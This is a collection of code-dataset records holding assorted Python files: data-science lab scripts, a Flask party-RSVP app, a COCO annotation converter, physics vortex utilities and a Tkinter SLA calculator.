self.get_dir_cache(hash_)\n )\n","sub_path":"dvc/remote/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":24323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"59649861","text":"import numpy as np\nimport pandas as pd\n\ntrain = pd.read_csv('magic04.txt', sep=',', engine='python', header=None,names=(['a','b','c','d','e','f','g','h','i','j','k']))\ndel train['k']\n#中心化\ncenter=train-train.mean()\n#转置\ncentert=center.T\n\nn=train['a'].count()\n#协方差等于\ncov=centert.dot(center)/n\nprint(cov)","sub_path":"Mining/lab1/lab1_2.py","file_name":"lab1_2.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"208230984","text":"\"\"\"数据库操作\"\"\"\nimport pymysql\nimport sys\nsys.path.append(\"..\") # 提升包搜索路径到项目路径\nfrom config import config as cf\n\n# 获取连接方法\ndef get_conn():\n conn = pymysql.connect(host=cf.db_host,\n port=cf.db_port,\n user=cf.db_user,\n password=cf.db_password,\n db=cf.db,\n charset='utf8')\n return conn\n# 查询操作\ndef db_query(sql):\n conn = get_conn()\n cur = conn.cursor()\n cur.execute(sql)\n result = cur.fetchall()\n cf.logging.debug(sql)\n cf.logging.debug(result)\n cur.close()\n conn.close()\n return result\n\n# 修改操作\ndef db_change(sql):\n conn = get_conn()\n cur = conn.cursor()\n try:\n cur.execute(sql)\n conn.commit()\n except Exception as e:\n conn.rollback()\n cf.logging.error(str(e))\n finally:\n cur.close()\n conn.close()\n\nif __name__ == \"__main__\":\n result = db_query(\"select * from user where name='张三'\")\n print(result)\n","sub_path":"auto_api teatcase/lib/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"268801034","text":"\"\"\"Flask site for Balloonicorn's Party.\"\"\"\n\nfrom flask import Flask, session, render_template, request, flash, redirect\nfrom flask_debugtoolbar import DebugToolbarExtension\n\nfrom partyutil import is_mel, most_and_least_common_type\n\napp = Flask(__name__)\napp.secret_key = 'SECRETSECRETSECRET'\n\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = True\napp.config['PRESERVE_CONTEXT_ON_EXCEPTION'] = True\n\n# One day I'll move this to a database --Balloonicorn\nTREATS = [{'type': 'dessert',\n 'description': 'Chocolate mousse',\n 'who': 'Andrew'},\n {'type': 'dessert',\n 'description': 'Cardamom-Pear pie',\n 'who': 'Kat'},\n {'type': 'appetizer',\n 'description': 'Humboldt Fog cheese',\n 'who': 'Meggie'},\n {'type': 'dessert',\n 'description': 'Lemon bars',\n 'who': 'Marisa'},\n {'type': 'appetizer',\n 'description': 'Mini-enchiladas',\n 'who': 'Rome'},\n {'type': 'drink',\n 'description': 'Sangria',\n 'who': 'Anges'},\n {'type': 'dessert',\n 'description': 'Chocolate-raisin cookies',\n 'who': 'Hayley'},\n {'type': 'dessert',\n 'description': 'Brownies',\n 'who': 'Ashley'}]\n\n\n@app.route('/')\ndef homepage():\n \"\"\"Show homepage.\"\"\"\n\n return render_template('homepage.html')\n\n\n@app.route('/treats')\ndef show_treats():\n \"\"\"Show treats people are bringing.\"\"\"\n\n most, least = most_and_least_common_type(TREATS)\n\n return render_template('treats.html',\n treats=TREATS,\n most=most,\n least=least)\n\n\n@app.route('/rsvp', methods=['POST'])\ndef rsvp():\n \"\"\"Register for the party.\"\"\"\n\n name = request.form.get('name')\n email = request.form.get('email')\n\n if not is_mel(name, email):\n session['rsvp'] = True\n flash('Yay!')\n return redirect('/')\n\n else:\n flash('Sorry, Mel. This is kind of awkward.')\n return redirect('/')\n\n\nif __name__ == '__main__':\n app.debug = False #Set to False to avoid error\n DebugToolbarExtension(app)\n app.run(host='0.0.0.0')\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"258160127","text":"import argparse\nimport datetime\nimport json\nimport os\nimport re\nimport fnmatch\nimport numpy as np\nfrom PIL import Image\n\nfrom pycococreatortools import pycococreatortools\nfrom main import CATEGORIES\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--root\", type=str)\nopt = parser.parse_args()\n\nROOT = os.path.join(opt.root)\nIMAGE_DIR = os.path.join(ROOT, \"images\")\nANNOTATION_DIR = os.path.join(ROOT, \"annotations\")\n\nINFO = {\n \"description\": \"Example Dataset\",\n \"url\": \"https://github.com/waspinator/pycococreator\",\n \"version\": \"0.1.0\",\n \"year\": 2018,\n \"contributor\": \"waspinator\",\n \"date_created\": datetime.datetime.utcnow().isoformat(\" \"),\n}\n\nLICENSES = [\n {\n \"id\": 1,\n \"name\": \"Attribution-NonCommercial-ShareAlike License\",\n \"url\": \"http://creativecommons.org/licenses/by-nc-sa/2.0/\",\n }\n]\n\n\ndef png_to_jpg(root, files):\n file_types = [\"*.png\"]\n file_types = r\"|\".join([fnmatch.translate(x) for x in file_types])\n files = [os.path.join(root, f) for f in files]\n files = [f for f in files if re.match(file_types, f)]\n print(files)\n\n for path in files:\n im = Image.open(path)\n im.convert(\"RGB\").save(path.replace(\".png\", \".jpg\"))\n\n\ndef filter_for_jpeg(root, files):\n file_types = [\"*.jpeg\", \"*.jpg\", \"*.png\"]\n file_types = r\"|\".join([fnmatch.translate(x) for x in file_types])\n files = [os.path.join(root, f) for f in files]\n files = [f for f in files if re.match(file_types, f)]\n\n return files\n\n\ndef filter_for_annotations(root, files, image_filename):\n file_types = [\"*.png\"]\n file_types = r\"|\".join([fnmatch.translate(x) for x in file_types])\n basename_no_extension = os.path.splitext(\n os.path.basename(image_filename))[0]\n file_name_prefix = basename_no_extension + \".*\"\n files = [os.path.join(root, f) for f in files]\n files = [f for f in files if re.match(file_types, f)]\n files = [\n f\n for f in files\n if re.match(file_name_prefix, os.path.splitext(os.path.basename(f))[0])\n ]\n return files\n\n\ndef png_to_binary_mask(fpath: str) -> np.array:\n im = Image.open(fpath)\n bw = Image.new(\"1\", im.size)\n pixels = im.load()\n pixels_bw = bw.load()\n\n for i in range(im.size[0]):\n for j in range(im.size[1]):\n if pixels[i, j][3] > 128:\n pixels_bw[i, j] = 1\n else:\n pixels_bw[i, j] = 0\n\n mask = np.asarray(bw).astype(np.uint8)\n return mask\n\n\ndef main():\n coco_output = {\n \"info\": INFO,\n \"licenses\": LICENSES,\n \"categories\": CATEGORIES,\n \"images\": [],\n \"annotations\": [],\n }\n\n image_id = 1\n segmentation_id = 1\n\n # filter for jpeg images\n for root, _, files in os.walk(IMAGE_DIR):\n # png_to_jpg(root, files)\n image_files = filter_for_jpeg(root, files)\n\n # go through each image\n for image_filename in image_files:\n print(image_filename)\n\n image = Image.open(image_filename)\n image_info = pycococreatortools.create_image_info(\n image_id, os.path.basename(image_filename), image.size\n )\n coco_output[\"images\"].append(image_info)\n\n # filter for associated png annotations\n for root, _, files in os.walk(ANNOTATION_DIR):\n annotation_files = filter_for_annotations(\n root, files, image_filename)\n\n # go through each associated annotation\n for annotation_filename in annotation_files:\n # TODO: naive bug fix,限定於cat是按照複雜度排列,仍有可能出錯\n class_id = [\n x[\"id\"] for x in CATEGORIES if x[\"name\"] in annotation_filename\n ][-1]\n\n category_info = {\n \"id\": class_id,\n # \"is_crowd\": \"crowd\" in image_filename,\n \"is_crowd\": True, # 強制讓segmentation用png->binary mask\n }\n binary_mask = png_to_binary_mask(annotation_filename)\n annotation_info = pycococreatortools.create_annotation_info_without_mask(\n segmentation_id,\n image_id,\n category_info,\n binary_mask,\n image.size,\n # tolerance=10,\n # tolerance=2,\n )\n\n # print(annotation_info)\n if annotation_info is not None:\n coco_output[\"annotations\"].append(annotation_info)\n\n segmentation_id = segmentation_id + 1\n\n image_id = image_id + 1\n\n with open(\"{}/annotation.json\".format(ROOT), \"w\") as output_json_file:\n json.dump(coco_output, output_json_file)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"mysrc/fakedata/tococo.py","file_name":"tococo.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246201087","text":"import json\nimport logging\nfrom asyncio import sleep\nfrom typing import (Type,\n Callable,\n Coroutine,\n Dict,\n Tuple)\n\nfrom aiohttp import (ClientSession,\n ClientConnectionError)\nfrom aiohttp.web_exceptions import HTTPBadRequest\n\n\ndef bad_request_json(body: Dict[str, str]) -> HTTPBadRequest:\n return HTTPBadRequest(body=json.dumps(body),\n content_type='application/json')\n\n\nasync def check_connection(\n url: str,\n *,\n retry_attempts: int = 10,\n retry_interval: int = 2,\n method: Callable[[ClientSession, str], Coroutine],\n exceptions: Tuple[Type[Exception], ...] = (ClientConnectionError,),\n session: ClientSession) -> None:\n logging.info('Establishing connection '\n f'with \"{url}\".')\n for attempt_num in range(retry_attempts):\n try:\n await method(session, url)\n break\n except exceptions:\n err_msg = ('Connection attempt '\n f'#{attempt_num + 1} failed.')\n logging.error(err_msg)\n await sleep(retry_interval)\n else:\n err_message = ('Failed to establish connection '\n f'with \"{url}\" '\n f'after {retry_attempts} attempts '\n f'with {retry_interval} s. interval.')\n raise ConnectionError(err_message)\n logging.info(f'Connection established with \"{url}\".')\n","sub_path":"collector/collector/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"414379383","text":"import copy\nfrom collections import deque\n\n#상, 하, 좌, 우\ndx=[0, 0, -1, 1]\ndy=[1, -1, 0, 0]\n\n\"\"\" 1. 벽 설치하기 \"\"\"\ndef wall(cnt):\n global Arr_cp\n if cnt==3: #벽 3개를 설치했으므로, 바이러스 퍼트리고 종료\n spreed_virus() #바이러스 퍼트리고, 빈칸 세기\n return True #종료\n\n for i, j in position_0: #벽이 3개가 아니라면, 빈칸 위치��� 탐색\n if Arr[i][j]==0: #빈칸일 경우, (재귀 전에 행렬에 벽을 하나 설치했기 때문에 확인하는 과정이 필요)\n Arr[i][j]=1 #빈칸에 벽을 설치\n Arr_cp=copy.deepcopy(Arr)\n wall(cnt+1) #벽 하나 설치했으므로 1증가\n Arr[i][j]=0 #벽 해제\n\n\"\"\" 2. 바이러스 퍼트리기 \"\"\"\ndef spreed_virus():\n global out\n count=0; WALL=3\n queue_2_cp=copy.deepcopy(queue_2) #바이러스 위치는 매번 새로 갱신하여 사용\n while queue_2_cp: #바이러스 위치는 계속해서 업데이트\n i, j = queue_2_cp.popleft() #바이러스 위치 꺼내기\n for v, w in zip(dx, dy): #상하좌우 살펴보고, 바이러스 퍼트리기\n new_x, new_y=i+v, j+w #상하좌우\n if new_x<0 or new_x>=N or new_y<0 or new_y>=M: continue #범위 아웃\n if Arr_cp[new_x][new_y]==1 or Arr_cp[new_x][new_y]==2: continue #상하좌우에 벽이나 바이러스가 있는 경우\n Arr_cp[new_x][new_y]=2 #조건 외에는 바이러스 퍼트리기\n queue_2_cp.append((new_x, new_y)) #퍼트린 새로운 바이러스 위치 업데이트\n count+=1 #퍼트린 바이러스 갯수 세기\n\n if len(position_0)-count-WALL> out: #빈칸의 갯수에서 설치한 3개의 벽과 추가적으로 퍼트린 바이러스의 갯수를 뺀 나머지 빈칸의 갯수\n out=len(position_0)-count-WALL #빈칸의 갯수 최대값 찾기\n \ndef main():\n global Arr, N, M, position_0, queue_2, out\n N, M = map(int, input().split())\n Arr = [list(map(int, input().split())) for i in range(N)]\n \n position_0=[]\n queue_2=deque()\n for i in range(N):\n for j in range(M):\n if Arr[i][j]==0: #빈칸 위치를 저장하면, 사용하기 편리하기 때문\n position_0.append((i, j))\n elif Arr[i][j]==2: #바이러스 위치 저장해서 사용하기 위해서\n queue_2.append((i, j))\n\n out=0 #빈칸의 갯수 최대값 찾기 위한 비교변수 초기화\n wall(0) #벽 3개 설치하기\n print(out) #최종 빈칸 갯수 출력\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"04주차/3번(박유나).py","file_name":"3번(박유나).py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"641833313","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pandas as pd\nfrom openpyxl import load_workbook\nimport seaborn as sns\n\ndef delete_outlier_format_summary(df, col):\n four = pd.Series(df[col]).describe()\n Q1 = four['25%']\n Q3 = four['75%']\n IQR = Q3 - Q1\n upper = Q3 + 1.5 * IQR\n lower = Q1 - 1.5 * IQR\n tp_xu = df['tp_xu'].iloc[0]\n tp_xd = df['tp_xd'].iloc[0]\n df = df[(df[col] <= upper) & (df[col] >= lower)]\n avg = np.nanmean(df[col])\n std = np.nanstd(df[col])\n risk_adjusted_return = avg/std\n frequency = len(df)\n avg_period = np.nanmean(df['period'])\n return [tp_xu, tp_xd, avg, std, risk_adjusted_return, frequency, avg_period]\n\n\ndef format_cluster_excel(ticker):\n # fig = plt.figure()\n df = pd.read_excel('One_factor_tp_portfolio.xlsx', sheetname=ticker, usecols=range(20, 39))\n df.index = range(len(df))\n df.rename(columns={'tp_xd.1': 'tp_xd',\n 'tp_xu.1': 'tp_xu'}, inplace=True)\n df.dropna(how='any', inplace=True)\n df['tp_xu'].replace([70, 80, 90], '70~90', inplace=True)\n df['tp_xu'].replace([40, 50, 60], '40~60', inplace=True)\n df['tp_xu'].replace([10, 20, 30], '10~30', inplace=True)\n df['tp_xd'].replace([70, 80, 90], '70~90', inplace=True)\n df['tp_xd'].replace([40, 50, 60], '40~60', inplace=True)\n df['tp_xd'].replace([10, 20, 30], '10~30', inplace=True)\n grouped = df.groupby(['tp_xu', 'tp_xd'])\n summary_dict = grouped.apply(lambda x: delete_outlier_format_summary(x, col='annual_return'), )\n summary_df = pd.DataFrame({'tp_xu':summary_dict.apply(lambda x: x[0]).values,\n 'tp_xd': summary_dict.apply(lambda x: x[1]).values,\n 'avg_annual_return': summary_dict.apply(lambda x: x[2]).values,\n 'std_annual_return': summary_dict.apply(lambda x: x[3]).values,\n 'annual_risk_adjusted_return': summary_dict.apply(lambda x: x[4]).values,\n 'frequency': summary_dict.apply(lambda x: x[5]).values,\n 'avg_period': summary_dict.apply(lambda x: x[6]).values},\n columns=['tp_xu', 'tp_xd', 'avg_annual_return', 'std_annual_return',\n 'annual_risk_adjusted_return', 'frequency', 'avg_period'], index=range(len(summary_dict)))\n summary_df['frequency_pct'] = summary_df['frequency']/ summary_df['frequency'].sum()\n path = 'tp_portfolio_for_heatmap_summary.xlsx'\n try:\n book1 = load_workbook(path)\n except Exception:\n df_empty = pd.DataFrame()\n df_empty.to_excel(path)\n writer = pd.ExcelWriter(path, engine='openpyxl')\n writer.book = book1\n summary_df.to_excel(writer, sheet_name=ticker)\n writer.save()\n writer.close()\n\n\n # # df = df[abs(df['risk_adjusted_return']) < 8]\n # X = np.array(summary_df['tp_xd'].values)\n # Y = np.array(summary_df['tp_xu'].values)\n # Z = np.array(summary_df[col].values)\n # ax = fig.add_subplot(1, 1, 1, projection='3d')\n # p = ax.plot_trisurf(X, Y, Z, cmap='viridis')\n # ax.legend()\n # ax.set_title(ticker)\n # ax.set_xlim(1, 3)\n # ax.set_ylim(1, 3)\n # # ax.set_zlim(0, 30)\n # ax.set_xlabel('Sell:tp_xd_cluster')\n # ax.set_ylabel('Buy:tp_xu_cluster')\n # ax.set_zlabel(col)\n # fig.colorbar(p)\n # plt.show()\n # path = \"C:\\Users\\wilsonZhang\\Desktop\\\\backtest_chart\\\\clusterd_chart\\\\\" + ticker + \"_\" + col + \".png\"\n # fig.savefig(path)\n\n\ndef draw_heatmap(ticker, col):\n df = pd.read_excel('tp_portfolio_for_heatmap_summary.xlsx', sheetname=ticker, usecols=range(8))\n df.index = range(len(df))\n df[['avg_annual_return', 'std_annual_return', 'frequency_pct']]=\\\n df[['avg_annual_return', 'std_annual_return', 'frequency_pct']].round(4)\n df['avg_period'] = df['avg_period'].apply(lambda x: int(x))\n # df['frequency_pct'] = pd.Series([\"{0:.2f}%\".format(val * 100) for val in df['frequency_pct']], index=df.index)\n # data = sns.load_dataset(df)\n data1 = df.pivot(\"tp_xu\", \"tp_xd\", col)\n if col == 'avg_period':\n ax = sns.heatmap(data1, annot=True, fmt='d')\n else:\n ax = sns.heatmap(data1, annot=True)\n if col == 'frequency':\n total_time = np.sum(df['frequency'])\n ax.set_title(ticker + \" \" + col + ' total_time:' + str(total_time))\n else:\n ax.set_title(ticker + \" \" + col)\n path = \"heat_map_chart/\" + ticker + \"_\" + col + \".png\"\n # fig = ax.get_figure()\n plt.savefig(path)\n plt.close()\n\n\n\ndef main():\n x1 = pd.ExcelFile('One_factor_tp_portfolio.xlsx')\n sheet_name_list = x1.sheet_names\n ticker_list = sheet_name_list[1:]\n count = 0\n # for ticker in ticker_list:\n # format_cluster_excel(ticker)\n # count = count + 1\n # print count\n\n for ticker in ticker_list:\n draw_heatmap(ticker, col='avg_annual_return')\n draw_heatmap(ticker, col='std_annual_return')\n draw_heatmap(ticker, col='annual_risk_adjusted_return')\n draw_heatmap(ticker, col='frequency')\n draw_heatmap(ticker, col='avg_period')\n draw_heatmap(ticker, col='frequency_pct')\n count = count + 1\n print(count)\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"back_testing/customize_function/clustered_tp_portfolio_heatmap.py","file_name":"clustered_tp_portfolio_heatmap.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255212778","text":"'''\nlist helper function\n'''\nimport h5py\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef convert_xy_to_angle(xy):\n x = xy[:, :, 0]\n y = xy[:, :, 1]\n angle = np.arctan2(y, x)\n angle[y <= 0] += 2*np.pi\n return angle\n\ndef saw(x):\n if np.isscalar(x):\n x = np.array([x])\n x[x <= -np.pi] += 2*np.pi\n x[x >= np.pi] -= 2*np.pi\n return x\n\ndef calculate_vortex_plaquette(a, print_out=False):\n a1 = a[0, 0]\n a2 = a[0, 1]\n a3 = a[1, 1]\n a4 = a[1, 0]\n if print_out:\n print((a2-a1)/np.pi, saw(a2-a1))\n print((a3-a2)/np.pi, saw(a3-a2))\n print((a4-a3)/np.pi, saw(a4-a3))\n print((a1-a4)/np.pi, saw(a1-a4))\n return (saw(a2-a1)+saw(a3-a2)+saw(a4-a3)+saw(a1-a4))/(2*np.pi)\n\ndef calculate_vortex(x):\n x_pbc = np.c_[x, x[:,0]]\n x_pbc = np.r_[x_pbc, [x_pbc[0,:]]]\n\n x_shifted_left = x_pbc[:-1, 1:]\n x_shifted_up = x_pbc[1:, :-1]\n x_shifted_up_left = x_pbc[1:, 1:]\n\n s1 = saw(x_shifted_left - x)\n s2 = saw(x_shifted_up_left - x_shifted_left)\n s3 = saw(x_shifted_up - x_shifted_up_left)\n s4 = saw(x - x_shifted_up)\n ret = np.around((s1 + s2 + s3 + s4) / (2*np.pi))\n return np.asarray(ret, dtype=int)\n\ndef analyze_vortices(xy):\n angle = convert_xy_to_angle(xy)\n vortex = calculate_vortex(angle)\n print(angle/np.pi)\n print(vortex)\n L = len(angle)\n plt.quiver(np.arange(L), -np.arange(L),\n xy[:, :, 0], xy[:, :, 1], pivot='mid')\n vortex_ref = np.zeros((L, L))\n for i in range(L):\n for j in range(L):\n if vortex[j, i] > 0:\n plt.plot(i+0.5, -(j+0.5), 'or')\n elif vortex[j, i] < 0:\n plt.plot(i+0.5, -(j+0.5), 'sb')\n if i < L-1 and j < L-1:\n vortex_ref[i, j] = calculate_vortex_plaquette(angle[i:i+2, j:j+2])\n vortex_ref = np.asarray(np.around(vortex_ref), dtype=int)\n print(vortex_ref)\n plt.show()\n return vortex_ref\n\ndef get_vortex_density(y_data, vortex):\n L = np.size(vortex, 1)\n temp = set()\n all_temp = np.around(y_data[:, -1], 3)\n ret = None\n for T in all_temp:\n if T in temp:\n continue\n temp.add(T)\n ind = abs(all_temp - T) < 1e-6\n vortex_T = abs(vortex[ind].reshape(-1, L*L))\n vortex_density = np.mean(np.sum(vortex_T, 1) / float(L**2))\n if ret is None:\n ret = [T, vortex_density]\n else:\n ret = np.vstack((ret, [T, vortex_density]))\n return ret\ndef load_data_more(list_data_file,list_type_load):\n #dem tat ca cac group trong list_data_file\n dem_group=0\n for data_file in list_data_file:\n print('Loading file nho %s' % data_file)\n f = h5py.File(data_file, 'r')\n L = f['L'][()]\n for key in f.keys():\n if not isinstance(f[key], h5py.Group):\n continue\n dem_group+=1\n print('dem_group',dem_group)\n \n #4 loai can load\n xy=None\n angle_vortex=None\n angle=None\n vortex=None\n\n for type_load in list_type_load:\n if(type_load==\"xy\"):\n xy = np.zeros([dem_group, L, L, 2], dtype=float)\n elif(type_load==\"angle_vortex\"):\n angle_vortex = np.zeros([dem_group, L, L, 2], dtype=float)\n elif(type_load==\"angle\"):\n angle = np.zeros([dem_group, L, L], dtype=float)\n elif(type_load==\"vortex\"):\n vortex = np.zeros([dem_group, L, L], dtype=int)\n \n label = np.zeros([dem_group, 3], dtype=int)\n temperature = np.zeros([dem_group], dtype=float)\n\n # get data from HDF5 file\n group_mapping = []\n pos = 0\n\n for data_file in list_data_file:\n print('Loading file nho %s' % data_file)\n f = h5py.File(data_file, 'r')\n for key in f.keys():\n if not isinstance(f[key], h5py.Group):\n continue\n for type_load in list_type_load:\n if(type_load==\"xy\"):\n xy[pos] = f[key]['config'][()]/127.5 - 1.\n elif(type_load==\"angle\"):\n xy_temp=f[key]['config'][()]/127.5 - 1.\n angle[pos] = convert_xy_to_angle(xy_temp)\n elif(type_load==\"vortex\"):\n xy_temp=f[key]['config'][()]/127.5 - 1.\n angle_temp=convert_xy_to_angle(xy_temp)\n vortex[pos] = calculate_vortex(angle_temp)\n elif(type_load==\"angle_vortex\"):\n xy_temp=f[key]['config'][()]/127.5 - 1.\n angle_temp=convert_xy_to_angle(xy_temp)\n vortex_temp=calculate_vortex(angle_temp)\n\n angle_vortex_each=np.zeros((L,L,2),dtype=float)\n angle_vortex_each[:,:,0]=angle_temp/(2*np.pi)\n angle_vortex_each[:,:,1]=vortex_temp\n angle_vortex[pos]=angle_vortex_each\n \n label[pos, f[key]['label'][()]] = 1\n temperature[pos] = f[key]['T'][()]\n group_mapping.append(key)\n pos += 1\n return xy, angle, vortex, label, temperature, group_mapping,angle_vortex\n\n\n\ndef load_data(data_file):\n print('Loading file nho %s' % data_file)\n # initialize stuffs\n f = h5py.File(data_file, 'r')\n L = f['L'][()]\n #dem_group = 22800\n dem_group=0\n print(dem_group)\n for key in f.keys():\n if not isinstance(f[key], h5py.Group):\n continue\n dem_group+=1\n \n xy = np.zeros([dem_group, L, L, 2], dtype=float)\n angle_vortex = np.zeros([dem_group, L, L, 2], dtype=float)\n angle = np.zeros([dem_group, L, L], dtype=float)\n vortex = np.zeros([dem_group, L, L], dtype=int)\n label = np.zeros([dem_group, 3], dtype=int)\n temperature = np.zeros([dem_group], dtype=float)\n\n # get data from HDF5 file\n group_mapping = []\n pos = 0\n for key in f.keys():\n if not isinstance(f[key], h5py.Group):\n continue\n# if pos != dem_group-1:\n# pos += 1\n# continue\n xy[pos] = f[key]['config'][()]/127.5 - 1.\n angle[pos] = convert_xy_to_angle(xy[pos])\n vortex[pos] = calculate_vortex(angle[pos])\n \n angle_vortex_each=np.zeros((L,L,2),dtype=float)\n angle_vortex_each[:,:,0]=angle[pos]/(2*np.pi)\n angle_vortex_each[:,:,1]=vortex[pos]\n angle_vortex[pos]=angle_vortex_each\n \n label[pos, f[key]['label'][()]] = 1\n temperature[pos] = f[key]['T'][()]\n group_mapping.append(key)\n pos += 1\n return xy, angle, vortex, label, temperature, group_mapping,angle_vortex\n\ndef load_all_data(list_data_file):\n angle = None\n vortex = None\n label = None\n temperature = None\n angle_vortex=None\n for data_file in list_data_file:\n out = load_data(data_file)\n if angle is None:\n xy=out[0]\n angle = out[1]\n vortex = out[2]\n label = out[3]\n temperature = out[4]\n angle_vortex=out[6]\n else:\n angle = np.vstack((angle, out[1]))\n xy = np.vstack((xy, out[0]))\n vortex = np.vstack((vortex, out[2]))\n label = np.vstack((label, out[3]))\n temperature = np.r_[temperature, out[4]]\n angle_vortex = np.vstack((angle_vortex, out[6]))\n return angle, vortex, label, temperature,angle_vortex,xy\n\n\nif __name__ == '__main__':\n pass","sub_path":"codes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484950804","text":"from tkinter import *\nimport json\nfrom tkinter import messagebox\nfrom tkinter import filedialog\n\n#main categories to be used and displayed in the categories selectbox\nCATEGORIES = [\"Housing/Hosting\", \"Internal Connectivity\", \"VCI Connect\"]\n\n#create the window\nscreen = Tk()\n\n#set the title of the window\nscreen.title(\"SLA Calculator\")\n\n#create main label/title\nlabel = Label(text=\"Select a category and then an offering \\n to view SLA and description\")\nlabel.grid(row=2, column=2, padx=50, pady=50)\n\n#label for create a new offering\nadd_offer_label = Label(text=\"Select a category from above \\n then enter details below to add a new offering\")\nadd_offer_label.grid(row=5, column=2, padx=50, pady=50)\n\n#add_category = Label(text=\"New category name:\")\n#add_category.grid(row=4, column=1)\n\n#create left side labels\nadd_offering = Label(text=\"New offering name:\")\nadd_offering.grid(row=6, column=1)\n\nadd_description = Label(text=\"Description:\")\nadd_description.grid(row=7, column=1)\n\nadd_slatime = Label(text=\"E2E delivery time:\")\nadd_slatime.grid(row=8, column=1)\n\ncategory_label = Label(text=\"Select category\")\ncategory_label.grid(row=3, column=1)\n\noffering_label = Label(text=\"Select offer\")\noffering_label.grid(row=4, column=1)\n\n#add_category_entry = Entry()\n#add_category_entry.grid(row=4, column=2)\n\n#create entries for when adding a new item\n\nadd_offering_entry = Entry(width=45)\nadd_offering_entry.grid(row=6, column=2, sticky=\"W\")\n\nadd_slatime_entry = Entry()\nadd_slatime_entry.grid(row=8, column=2, sticky=\"W\")\n\nadd_description_entry = Text(height=7, width=45)\nadd_description_entry.grid(row=7, column=2, sticky=\"W\")\n\n\n#create right side labels - these are used to display data from the database/json file\npresent_description = Label(text=\"\", padx=50, pady=50)\npresent_description.grid(row=3, column=3, sticky=\"E\")\n\npresent_slatime = Label(text=\"\")\npresent_slatime.grid(row=4, column=3)\n\n\n#SAve Buttons to add new items in the Json file - below the funtion called when button pressed\ndef save():\n\n category = listbox.get(ANCHOR)\n offering = add_offering_entry.get()\n description = add_description_entry.get(\"1.0\",END)\n slatime = add_slatime_entry.get()\n\n new_data = {\n offering: {\n \"category\": category,\n \"offering_description\": description,\n \"slatime\": int(slatime)\n\n }\n }\n\n if len(category) == 0 or len(offering) == 0 or len(description) == 0 or len(slatime) == 0:\n messagebox.showinfo(title=\"Oops\", message=\"Make sure you complete all the fields!\")\n else:\n try:\n with open(\"data.json\", \"r\") as data_file:\n data = json.load(data_file)\n data.update(new_data)\n except FileNotFoundError:\n with open(\"data.json\", \"w\") as data_file:\n json.dump(new_data, data_file, indent=4)\n else:\n with open(\"data.json\", \"w\") as data_file:\n json.dump(data, data_file, indent=4)\n finally:\n #add_category_entry.delete(0, END)\n add_offering_entry.delete(0, END)\n add_description_entry.delete(\"1.0\", END)\n add_slatime_entry.delete(0, END)\n messagebox.showinfo(title=\"Offering added\", message=\"Successfully added new offering to database\")\n\n\n#Create the actual button : calls action() when pressed\nbutton = Button(text=\"Submit new offering\", command=save)\nbutton.grid(row=9, column=2, pady=10)\n\n#Listbox for category selection - this is the function called when you click on an item in the categories select box\ndef listbox_used(event):\n # Gets current selection from listbox\n categ_selected = listbox.get(ANCHOR)\n try:\n with open(\"data.json\", \"r\") as data_file:\n data = json.load(data_file)\n listofitems = [item[0] for item in data.items() if item[1][\"category\"] == categ_selected]\n except FileNotFoundError:\n listofitems=[]\n create_offering_listbox(listofitems)\n\n#create the actual listbox to show main categories\nlistbox = Listbox(height=3, width=45)\n\n#adding items in the listbox, from categories contstant defined at top\nfor item in CATEGORIES:\n listbox.insert(CATEGORIES.index(item), item)\n\n#binding the above function to the listbox, to run when a selection is made\nlistbox.bind(\"<>\", listbox_used)\n\n#add the listbox to the GUI window\nlistbox.grid(row=3, column=2)\n\n#create listbox for group offerings inside main categories\nofferings_listbox = Listbox(height=5, width=45)\n\n#create the function that will run when an item is selected in the offerings listbox\ndef listbox_offerings_used(event):\n\n\n selected_offering = offerings_listbox.get(ANCHOR)\n if len(selected_offering) != 0:\n try:\n with open(\"data.json\", \"r\") as data_file:\n data = json.load(data_file)\n new_text = data[selected_offering][\"offering_description\"]\n new_sla = data[selected_offering][\"slatime\"]\n except FileNotFoundError or KeyError:\n pass\n present_description.config(text=f\"Description of selected offering: {new_text}\")\n present_slatime.config(text=f\"SLA Time: {new_sla} Days\")\n\n#create a function that will be called every time another item in the categories listbox is selected\n# this will update the items in the offerings listbox based on selected category\n\ndef create_offering_listbox(listofitems):\n\n #offerings_listbox = Listbox(height=len(listofitems))\n offerings_listbox.delete(0,END)\n for item1 in listofitems:\n offerings_listbox.insert(listofitems.index(item1), item1)\n\nofferings_listbox.bind(\"<>\", listbox_offerings_used)\nofferings_listbox.grid(row=4, column=2)\n\n\nscreen.config(width=600, height=600)\nscreen.mainloop()\n\n","sub_path":"sla_calc_main.py","file_name":"sla_calc_main.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"227860995","text":"# Copyright 2021 Curtin University\n#\n# Licensed under the Apache License, Version 2.0 (the 